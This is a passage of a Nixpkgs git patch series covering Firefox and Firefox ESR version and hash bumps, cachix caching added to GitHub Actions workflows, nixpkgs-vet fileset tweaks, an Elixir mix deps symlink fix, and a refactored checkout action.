-      sha256 = "6cadbb50355600d65f04f2f228ba9fc48d163386068e3025f3fa2e3d0d53c123";
+      sha256 = "6ad62161db21437be1df26f645757ffe548472dd18bf5168337c616044eb626f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ta/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ta/Firefox%20142.0.dmg";
       locale = "ta";
       arch = "mac";
-      sha256 = "a22961ab58be3ea50b22db31931620b483433963fc4a76b708f080a83bf225ac";
+      sha256 = "5c3c85f12f5e323d4ef10d0ede3c54b6cf9fe59f22e3c6ebb8d2ce589fe41e74";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/te/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/te/Firefox%20142.0.dmg";
       locale = "te";
       arch = "mac";
-      sha256 = "685cc2e6c4bcd4af2badad0bfc9949138eee2b689ab33e77e0a7e49d8d71045a";
+      sha256 = "acc361fa1893a1470f0d6b688f0e3c1ec36384b7ee9e9b4c515a4f8fd01e3281";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/tg/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/tg/Firefox%20142.0.dmg";
       locale = "tg";
       arch = "mac";
-      sha256 = "993516c8efb25aea0d0cf3754f27efb4b4ff18b1ddfba1c46c751f61f88839c3";
+      sha256 = "90f09a050429b35aac98e79999ff158b47c56fbb47f589a8dd6196d91621a543";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/th/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/th/Firefox%20142.0.dmg";
       locale = "th";
       arch = "mac";
-      sha256 = "78a3906a4830e8577c62fcbb45388a029f9883218fe4f6162e6b28f0408cdb50";
+      sha256 = "c1bfc1626cec042f55fb838a6f47cccaadd45a9410221938555a13fa4b946d35";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/tl/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/tl/Firefox%20142.0.dmg";
       locale = "tl";
       arch = "mac";
-      sha256 = "248d25ff29d28a87092352fa49cd9c30db2908fd0675befda189deaa13d4b533";
+      sha256 = "d26e2244a1994023530f97e63678c79eb233a66b1d8f97f115e34aecf19566e2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/tr/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/tr/Firefox%20142.0.dmg";
       locale = "tr";
       arch = "mac";
-      sha256 = "70cd725698307aca4d4dbb7a6e02100166dfacd7669c5a300d35cecfcfa239c0";
+      sha256 = "9f08fcc8807bcaf68248cfd7c5eb1dfc91c8e94eedf159f80d063d08a6ed8cba";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/trs/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/trs/Firefox%20142.0.dmg";
       locale = "trs";
       arch = "mac";
-      sha256 = "ae8ba73465b2abc8d18d3c2e2daf68e2668cab1c1144d8d6a559014721afb9f4";
+      sha256 = "f1802cb5b7e61cfe68050b555cc01302c0821bda21398a6bd3862904030d5434";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/uk/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/uk/Firefox%20142.0.dmg";
       locale = "uk";
       arch = "mac";
-      sha256 = "8781407f677a997e0a43a0dbcef48a21eb1e78b106e071426a68df4c9a74c2d2";
+      sha256 = "9fdbb3fd93d059ffde5e5306a1fc0b0f4e80e7b8b216d627cf69ad026cd8f3d3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/ur/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/ur/Firefox%20142.0.dmg";
       locale = "ur";
       arch = "mac";
-      sha256 = "18012bb20b9fa76394ffa9a7fd5bd9a4b26f8e977a254cde30d9c84d30ac5f74";
+      sha256 = "87c960a50f4faa5a2cc014ee0a606d81db02940e27e8bd5fbcc350c8307e95ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/uz/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/uz/Firefox%20142.0.dmg";
       locale = "uz";
       arch = "mac";
-      sha256 = "5dedce611ba384512b289070794e92fa75be17766c5e313a0349144e67444cca";
+      sha256 = "eff4db1e7df4f9b01965d6426c4eaef00fce0590e9eddd2b2db051eb87070f3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/vi/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/vi/Firefox%20142.0.dmg";
       locale = "vi";
       arch = "mac";
-      sha256 = "61770a27c25d3bef80c01f673341de713544b89fb182a0e7a7c7132bd6fbf44e";
+      sha256 = "0d6b49681350c606082d6e4048465052a19adb32820d3597639ef359a4179ccb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/xh/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/xh/Firefox%20142.0.dmg";
       locale = "xh";
       arch = "mac";
-      sha256 = "75f0e9cc3a722680e91e254802204d5580683cb1b59c68f5b5afd7feb9bfef84";
+      sha256 = "246678a63fb7db4966f4d1102612b395b9e90a7d710e66258b82f2bff9217efe";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/zh-CN/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/zh-CN/Firefox%20142.0.dmg";
       locale = "zh-CN";
       arch = "mac";
-      sha256 = "4ccfbb23b602a67f17a58d77dee5591549a5df95a6368b39fc5f6b087524f74f";
+      sha256 = "eb1d70e7a0bd4051de0ab075d9d92adaf5075e61a8643f76fb475eed3dab6cc1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/141.0.3/mac/zh-TW/Firefox%20141.0.3.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/142.0/mac/zh-TW/Firefox%20142.0.dmg";
       locale = "zh-TW";
       arch = "mac";
-      sha256 = "71918ddaec0bd8fa651b8a6a8e5eb17e4b487c9d3e9ff1a5dbcbe9edb8186e1a";
+      sha256 = "667eab6bfd0de0bf2b77fa455547152b2fe21b4bb2b7c9ae91a98673b97b21f8";
     }
   ];
 }

From 2f045526231fbb2a2adb672e461464cc2174c747 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Wed, 20 Aug 2025 00:46:53 +0200
Subject: [PATCH 3691/4511] firefox-esr-140-unwrapped: 140.1.0esr -> 140.2.0esr

https://www.firefox.com/en-US/firefox/140.2.0/releasenotes/
https://www.mozilla.org/en-US/security/advisories/mfsa2025-67/

Fixes: CVE-2025-9179, CVE-2025-9180, CVE-2025-9181, CVE-2025-9183
       CVE-2025-9184, CVE-2025-9185
(cherry picked from commit 9f458892534476a00d21c101f8c7e844c51eff29)
---
 .../browsers/firefox/packages/firefox-esr-140.nix |  4 ++--
 .../build-mozilla-mach/139-relax-apple-sdk.patch  | 13 -------------
 pkgs/build-support/build-mozilla-mach/default.nix | 15 +++++++++------
 3 files changed, 11 insertions(+), 21 deletions(-)
 delete mode 100644 pkgs/build-support/build-mozilla-mach/139-relax-apple-sdk.patch

diff --git a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
index 0364f6122a01..7cedf9d0f095 100644
--- a/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
+++ b/pkgs/applications/networking/browsers/firefox/packages/firefox-esr-140.nix
@@ -9,11 +9,11 @@
 
 buildMozillaMach rec {
   pname = "firefox";
-  version = "140.1.0esr";
+  version = "140.2.0esr";
   applicationName = "Firefox ESR";
   src = fetchurl {
     url = "mirror://mozilla/firefox/releases/${version}/source/firefox-${version}.source.tar.xz";
-    sha512 = "1b5caff9b381cd449c40d148542501f7a31a7151a3f2f888e789c9743af8ee1d1eddbd970f8c0054902d1e1d739221db0cfcf1dc6ab704bb83bbb7b7b6a20055";
+    sha512 = "e4597c4d83ae1a84fce9248fe6ca652af6c3615607fc8973bd917bfdbd2abbceca937fe4c629c0cdc89fa0a5c846b5e2d8a4b44dabf7feb201deb382de0ccc5b";
   };
 
   meta = {
diff --git a/pkgs/build-support/build-mozilla-mach/139-relax-apple-sdk.patch b/pkgs/build-support/build-mozilla-mach/139-relax-apple-sdk.patch
deleted file mode 100644
index 3c7e1271889a..000000000000
--- a/pkgs/build-support/build-mozilla-mach/139-relax-apple-sdk.patch
+++ /dev/null
@@ -1,13 +0,0 @@
-diff --git a/build/moz.configure/toolchain.configure b/build/moz.configure/toolchain.configure
-index 769ac0379045..160734dd386d 100644
---- a/build/moz.configure/toolchain.configure
-+++ b/build/moz.configure/toolchain.configure
-@@ -233,7 +233,7 @@ with only_when(host_is_osx | target_is_osx):
-     )
- 
-     def mac_sdk_min_version():
--        return "15.4"
-+        return "15.2"
- 
-     @depends(
-         "--with-macos-sdk",
diff --git a/pkgs/build-support/build-mozilla-mach/default.nix b/pkgs/build-support/build-mozilla-mach/default.nix
index 43928cdccb2d..75e94c5ccfd8 100644
--- a/pkgs/build-support/build-mozilla-mach/default.nix
+++ b/pkgs/build-support/build-mozilla-mach/default.nix
@@ -316,12 +316,15 @@ buildStdenv.mkDerivation {
       # https://hg-edge.mozilla.org/mozilla-central/rev/aa8a29bd1fb9
       ./139-wayland-drag-animation.patch
     ]
-    ++ lib.optionals (lib.versionAtLeast version "139" && lib.versionOlder version "141.0.2") [
-      ./139-relax-apple-sdk.patch
-    ]
-    ++ lib.optionals (lib.versionAtLeast version "141.0.2") [
-      ./142-relax-apple-sdk.patch
-    ]
+    ++
+      lib.optionals
+        (
+          lib.versionAtLeast version "141.0.2"
+          || (lib.versionAtLeast version "140.2.0" && lib.versionOlder version "141.0")
+        )
+        [
+          ./142-relax-apple-sdk.patch
+        ]
     ++ lib.optionals (lib.versionOlder version "139") [
       # Fix for missing vector header on macOS
       # https://bugzilla.mozilla.org/show_bug.cgi?id=1959377

From 28c86b235961ea7312523111cb2e8669df183d7e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 12:10:23 +0200
Subject: [PATCH 3692/4511] workflows: support cachix in forks

This allows setting up a custom cachix cache in a contributor's fork.
That's most valuable when working on CI itself, testing and interating
in a fork. It's required when working on cachix related features
directly.

(cherry picked from commit 025424913f19dfbee0c791c68619142b94a0e6f3)
---
 .github/workflows/build.yml | 7 ++++---
 .github/workflows/check.yml | 7 ++++---
 2 files changed, 8 insertions(+), 6 deletions(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index ef3c71ca4fbe..60aed67cea03 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -61,9 +61,10 @@ jobs:
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
-          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
-          name: nixpkgs-ci
-          authToken: "${{ secrets.CACHIX_AUTH_TOKEN }}"
+          # The nixpkgs-ci cache should not be trusted or used outside of Nixpkgs and its forks' CI.
+          name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
+          extraPullNames: nixpkgs-ci
+          authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
 
       - run: nix-env --install -f pinned -A nix-build-uncached
 
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index c06729fa7f5d..d58358e23aa7 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -112,9 +112,10 @@ jobs:
 
       - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
         with:
-          # This cache is for the nixpkgs repo checks and should not be trusted or used elsewhere.
-          name: nixpkgs-ci
-          authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}'
+          # The nixpkgs-ci cache should not be trusted or used outside of Nixpkgs and its forks' CI.
+          name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
+          extraPullNames: nixpkgs-ci
+          authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
 
       - name: Build codeowners validator
         run: nix-build trusted/ci --arg nixpkgs ./pinned -A codeownersValidator

From e3ff0fab42ed01dc1f45ab538f957d68fcfa7c6c Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 12:11:59 +0200
Subject: [PATCH 3693/4511] workflows: never push source to cachix

Pushing the source path to cachix is pointless, because the only source
we're using is Nixpkgs - and that will always be available already via
checkout. No need to ever substitute it, so no need to push it either.

(cherry picked from commit 2400bdf0d4d4c408964525b4d5f12c33647aa708)
---
 .github/workflows/build.yml | 1 +
 .github/workflows/check.yml | 1 +
 2 files changed, 2 insertions(+)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 60aed67cea03..3b289413e6fb 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -65,6 +65,7 @@ jobs:
           name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
           extraPullNames: nixpkgs-ci
           authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
+          pushFilter: -source$
 
       - run: nix-env --install -f pinned -A nix-build-uncached
 
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index d58358e23aa7..3dbbb9d2dff7 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -116,6 +116,7 @@ jobs:
           name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
           extraPullNames: nixpkgs-ci
           authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
+          pushFilter: -source$
 
       - name: Build codeowners validator
         run: nix-build trusted/ci --arg nixpkgs ./pinned -A codeownersValidator

From b431f97a1c6b4f446bf0ea68796e890d305e6341 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 12:20:01 +0200
Subject: [PATCH 3694/4511] workflows/lint: add cachix

For PRs targeting a fast moving branch like master, it might not
actually help because the merge commit will still be different on each
run. But on slower moving branches or when testing in a fork, it can
speed things up.

Since each of these build results is only a few hundred bytes without
any dependencies, it has essentially no cost.

Not adding this to `treefmt`, because this looks at *all* the files in
the repo, so needs to re-run even when iterating on CI only.

(cherry picked from commit 6ee40e79314d07ffc58537fbe33ad27373748353)
---
 .github/workflows/lint.yml        | 23 +++++++++++++++++++++++
 .github/workflows/merge-group.yml |  2 ++
 .github/workflows/pr.yml          |  2 ++
 3 files changed, 27 insertions(+)

diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml
index 44cb7fe7bada..d9168c4210d0 100644
--- a/.github/workflows/lint.yml
+++ b/.github/workflows/lint.yml
@@ -9,6 +9,9 @@ on:
       targetSha:
         required: true
         type: string
+    secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
 
 permissions: {}
 
@@ -33,6 +36,10 @@ jobs:
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
+      # TODO: Figure out how to best enable caching for the treefmt job. Cachix won't work well,
+      # because the cache would be invalidated on every commit - treefmt checks every file.
+      # Maybe we can cache treefmt's eval-cache somehow.
+
       - name: Check that files are formatted
         run: |
           # Note that it's fine to run this on untrusted code because:
@@ -65,6 +72,14 @@ jobs:
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
+      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
+        with:
+          # The nixpkgs-ci cache should not be trusted or used outside of Nixpkgs and its forks' CI.
+          name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
+          extraPullNames: nixpkgs-ci
+          authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
+          pushFilter: -source$
+
       - name: Parse all nix files
         run: |
           # Tests multiple versions at once, let's make sure all of them run, so keep-going.
@@ -88,6 +103,14 @@ jobs:
 
       - uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
+      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
+        with:
+          # The nixpkgs-ci cache should not be trusted or used outside of Nixpkgs and its forks' CI.
+          name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
+          extraPullNames: nixpkgs-ci
+          authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
+          pushFilter: -source$
+
       - name: Running nixpkgs-vet
         env:
           # Force terminal colors to be enabled. The library that `nixpkgs-vet` uses respects https://bixense.com/clicolors/
diff --git a/.github/workflows/merge-group.yml b/.github/workflows/merge-group.yml
index 72b8deeb2dbc..9ed7125c76d2 100644
--- a/.github/workflows/merge-group.yml
+++ b/.github/workflows/merge-group.yml
@@ -9,6 +9,8 @@ jobs:
   lint:
     name: Lint
     uses: ./.github/workflows/lint.yml
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
       mergedSha: ${{ github.event.merge_group.head_sha }}
       targetSha: ${{ github.event.merge_group.base_sha }}
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index 1de7d6614c9c..e7535378b734 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -100,6 +100,8 @@ jobs:
     name: Lint
     needs: [prepare]
     uses: ./.github/workflows/lint.yml
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
       targetSha: ${{ needs.prepare.outputs.targetSha }}

From 053b8e38d659af9dc7f6a352a2e1c69cc417c27e Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 12:49:57 +0200
Subject: [PATCH 3695/4511] ci/nixpkgs-vet: memoize filesets

Speeds up evaluation a bit, because `filtered head` doesn't need to be
evaluated 3x.

(cherry picked from commit c4fa63da496154e74c8fa790a7a9d42f1a4d94ca)
---
 ci/nixpkgs-vet.nix | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/ci/nixpkgs-vet.nix b/ci/nixpkgs-vet.nix
index 58b5024589bd..d3103579730d 100644
--- a/ci/nixpkgs-vet.nix
+++ b/ci/nixpkgs-vet.nix
@@ -16,6 +16,9 @@ let
       fileset = (gitTracked path);
       root = path;
     };
+
+  filteredBase = filtered base;
+  filteredHead = filtered head;
 in
 runCommand "nixpkgs-vet"
   {
@@ -27,11 +30,11 @@ runCommand "nixpkgs-vet"
   ''
     export NIX_STATE_DIR=$(mktemp -d)
 
-    nixpkgs-vet --base ${filtered base} ${filtered head}
+    nixpkgs-vet --base ${filteredBase} ${filteredHead}
 
     # TODO: Upstream into nixpkgs-vet, see:
     # https://github.com/NixOS/nixpkgs-vet/issues/164
-    badFiles=$(find ${filtered head}/pkgs -type f -name '*.nix' -print | xargs grep -l '^[^#]*<nixpkgs/' || true)
+    badFiles=$(find ${filteredHead}/pkgs -type f -name '*.nix' -print | xargs grep -l '^[^#]*<nixpkgs/' || true)
     if [[ -n $badFiles ]]; then
       echo "Nixpkgs is not allowed to use <nixpkgs> to refer to itself."
       echo "The offending files:"
@@ -41,7 +44,7 @@ runCommand "nixpkgs-vet"
 
     # TODO: Upstream into nixpkgs-vet, see:
     # https://github.com/NixOS/nixpkgs-vet/issues/166
-    conflictingPaths=$(find ${filtered head} | awk '{ print $1 " " tolower($1) }' | sort -k2 | uniq -D -f 1 | cut -d ' ' -f 1)
+    conflictingPaths=$(find ${filteredHead} | awk '{ print $1 " " tolower($1) }' | sort -k2 | uniq -D -f 1 | cut -d ' ' -f 1)
     if [[ -n $conflictingPaths ]]; then
       echo "Files in nixpkgs must not vary only by case."
       echo "The offending paths:"

From 16321a259b90d812c0394320e860c6afcd8a45f6 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 12:51:09 +0200
Subject: [PATCH 3696/4511] ci/nixpkgs-vet: ignore .github/ and ci/ folders

nixpkgs-vet doesn't care about our CI infrastructure, so ignoring these
files will lead to more cache hits when iterating on CI related PRs.

(cherry picked from commit 4d996cfb2f823395c5fb469d9dee918f6a710cc3)
---
 ci/nixpkgs-vet.nix | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/ci/nixpkgs-vet.nix b/ci/nixpkgs-vet.nix
index d3103579730d..7c11dffc4f9b 100644
--- a/ci/nixpkgs-vet.nix
+++ b/ci/nixpkgs-vet.nix
@@ -13,7 +13,10 @@ let
     with lib.fileset;
     path:
     toSource {
-      fileset = (gitTracked path);
+      fileset = difference (gitTracked path) (unions [
+        (path + /.github)
+        (path + /ci)
+      ]);
       root = path;
     };
 

From 0c3549113bee761508b921036dbee8d474268dce Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 13:37:48 +0200
Subject: [PATCH 3697/4511] workflows/eval: add cachix

At this stage, this only allows faster iteration when working on CI in
forks.

(cherry picked from commit 795dd01e31791c3d2f1d78d3c2273243b240803f)
---
 .github/workflows/eval.yml | 10 ++++++++++
 .github/workflows/pr.yml   |  1 +
 .github/workflows/push.yml |  2 ++
 3 files changed, 13 insertions(+)

diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index a89f2e4d5f9b..a1aaaafe6fbb 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -16,6 +16,8 @@ on:
         default: false
         type: boolean
     secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
       OWNER_APP_PRIVATE_KEY:
         required: false
 
@@ -97,6 +99,14 @@ jobs:
       - name: Install Nix
         uses: cachix/install-nix-action@fc6e360bedc9ee72d75e701397f0bb30dce77568 # v31
 
+      - uses: cachix/cachix-action@0fc020193b5a1fa3ac4575aa3a7d3aa6a35435ad # v16
+        with:
+          # The nixpkgs-ci cache should not be trusted or used outside of Nixpkgs and its forks' CI.
+          name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
+          extraPullNames: nixpkgs-ci
+          authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
+          pushFilter: '(-source|-single-chunk)$'
+
       - name: Evaluate the ${{ matrix.system }} output paths for all derivation attributes
         env:
           MATRIX_SYSTEM: ${{ matrix.system }}
diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml
index e7535378b734..b6c4fabafa12 100644
--- a/.github/workflows/pr.yml
+++ b/.github/workflows/pr.yml
@@ -114,6 +114,7 @@ jobs:
       # compare
       statuses: write
     secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
       OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
     with:
       mergedSha: ${{ needs.prepare.outputs.mergedSha }}
diff --git a/.github/workflows/push.yml b/.github/workflows/push.yml
index ae829ed0ff2b..265f0fba8927 100644
--- a/.github/workflows/push.yml
+++ b/.github/workflows/push.yml
@@ -43,6 +43,8 @@ jobs:
       issues: write
       pull-requests: write
       statuses: write
+    secrets:
+      CACHIX_AUTH_TOKEN: ${{ secrets.CACHIX_AUTH_TOKEN }}
     with:
       mergedSha: ${{ github.sha }}
       systems: ${{ needs.prepare.outputs.systems }}

From 4c5bae6e3f9af502f499e958abb9502a24566eec Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Wed, 20 Aug 2025 17:09:54 +0200
Subject: [PATCH 3698/4511] workflows/build: prevent pushing tarball to cachix

By definition the tarball changes on every commit, so it makes no sense
to cache it - it will just waste disk space.

(cherry picked from commit ac938656970ac980f19370788fca225db9faff2b)
---
 .github/workflows/build.yml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index 3b289413e6fb..b00335dc5f27 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -65,7 +65,7 @@ jobs:
           name: ${{ vars.CACHIX_NAME || 'nixpkgs-ci' }}
           extraPullNames: nixpkgs-ci
           authToken: ${{ secrets.CACHIX_AUTH_TOKEN }}
-          pushFilter: -source$
+          pushFilter: '(-source$|-nixpkgs-tarball-)'
 
       - run: nix-env --install -f pinned -A nix-build-uncached
 

From a9f3c3abbfc9007a4350540a2c613eb3f8dc7c0f Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 18 Aug 2025 11:15:44 +0800
Subject: [PATCH 3699/4511] beamPackages.mixRelease: symlink mixFodDeps with
 MIX_DEPS_PATH

(cherry picked from commit 25a4bf11b3e8ed458ee7acedb2cd6552d7001229)
---
 pkgs/development/beam-modules/mix-release.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/development/beam-modules/mix-release.nix b/pkgs/development/beam-modules/mix-release.nix
index a898f0d5a789..ba70acdfd9b0 100644
--- a/pkgs/development/beam-modules/mix-release.nix
+++ b/pkgs/development/beam-modules/mix-release.nix
@@ -190,7 +190,7 @@ stdenv.mkDerivation (
         # Symlink deps to build root. Similar to above, but allows for mixFodDeps
         # Phoenix projects to find javascript assets.
         ${lib.optionalString (mixFodDeps != null) ''
-          ln -s ../deps ./
+          ln -s "$MIX_DEPS_PATH" ./deps
         ''}
 
         runHook postConfigure

From 7d405339b3c59d0162d329aeb91ca3cd21a69ec9 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 18 Aug 2025 20:55:12 +0200
Subject: [PATCH 3700/4511] actions/checkout: rename from
 actions/get-merge-commit

This moves the logic to "check whether the PR can be merged and
determine the relevant commits" into the PR / prepare job directly -
since that's the only place where it is supposed to be used.

Because of the if condition in get-merge-commit, this logic was run
multiple times, for example in the lint workflow, where only one of
targetSha or mergedSha was provided as input. However, this input was
thrown away directly. This might not be a big problem, because this was
not expensive, so far. But with the next commit, this will become more
so.

This also separates the logic a bit cleaner - `prepare` figures out all
the parameters for the whole PR workflow, while `checkout` handles the
consistency around these checkouts.

(cherry picked from commit b51e104439587fabc53e3f644bcef0af43f10c23)
---
 .github/actions/checkout/action.yml         | 54 ++++++++++++++
 .github/actions/get-merge-commit/action.yml | 80 ---------------------
 .github/workflows/README.md                 |  2 +-
 .github/workflows/build.yml                 |  7 +-
 .github/workflows/check.yml                 | 10 ++-
 .github/workflows/eval.yml                  | 17 ++---
 .github/workflows/lint.yml                  | 24 +++----
 .github/workflows/pr.yml                    | 21 +++---
 8 files changed, 91 insertions(+), 124 deletions(-)
 create mode 100644 .github/actions/checkout/action.yml
 delete mode 100644 .github/actions/get-merge-commit/action.yml

diff --git a/.github/actions/checkout/action.yml b/.github/actions/checkout/action.yml
new file mode 100644
index 000000000000..e3c592f6e53a
--- /dev/null
+++ b/.github/actions/checkout/action.yml
@@ -0,0 +1,54 @@
+name: Checkout
+
+description: 'Checkout into trusted / untrusted / pinned folders consistently.'
+
+inputs:
+  merged-as-untrusted-at:
+    description: "Whether and which SHA to checkout for the merge commit in the ./untrusted folder."
+    type: boolean
+  pinnedFrom:
+    description: "Whether to checkout the pinned nixpkgs for CI and from where (trusted, untrusted)."
+    type: string
+  target-as-trusted-at:
+    description: "Whether and which SHA to checkout for the target commit in the ./trusted folder."
+    type: boolean
+
+runs:
+  using: composite
+  steps:
+    - if: inputs.merged-as-untrusted-at
+      # Would be great to do the checkouts in git worktrees of the existing spare checkout instead,
+      # but Nix is broken with them:
+      # https://github.com/NixOS/nix/issues/6073
+      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+      with:
+        ref: ${{ inputs.merged-as-untrusted-at }}
+        path: untrusted
+
+    - if: inputs.target-as-trusted-at
+      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+      with:
+        ref: ${{ inputs.target-as-trusted-at }}
+        path: trusted
+
+    - if: inputs.pinnedFrom
+      id: pinned
+      uses: actions/github-script@60a0d83039c74a4aee543508d2ffcb1c3799cdea # v7.0.1
+      env:
+        PINNED_FROM: ${{ inputs.pinnedFrom }}
+      with:
+        script: |
+          const path = require('node:path')
+          const pinned = require(path.resolve(path.join(process.env.PINNED_FROM, 'ci', 'pinned.json')))
+          core.setOutput('pinnedSha', pinned.pins.nixpkgs.revision)
+
+    - if: steps.pinned.outputs.pinnedSha
+      uses: actions/checkout@08c6903cd8c0fde910a37f88322edcfb5dd907a8 # v5.0.0
+      with:
+        ref: ${{ steps.pinned.outputs.pinnedSha }}
+        path: pinned
+        sparse-checkout: |
+          lib
+          maintainers
+          nixos/lib
+          pkgs
diff --git a/.github/actions/get-merge-commit/action.yml b/.github/actions/get-merge-commit/action.yml
deleted file mode 100644
index 1d37ef6abd43..000000000000
--- a/.github/actions/get-merge-commit/action.yml
+++ /dev/null
@@ -1,80 +0,0 @@
-name: Get merge commit
-
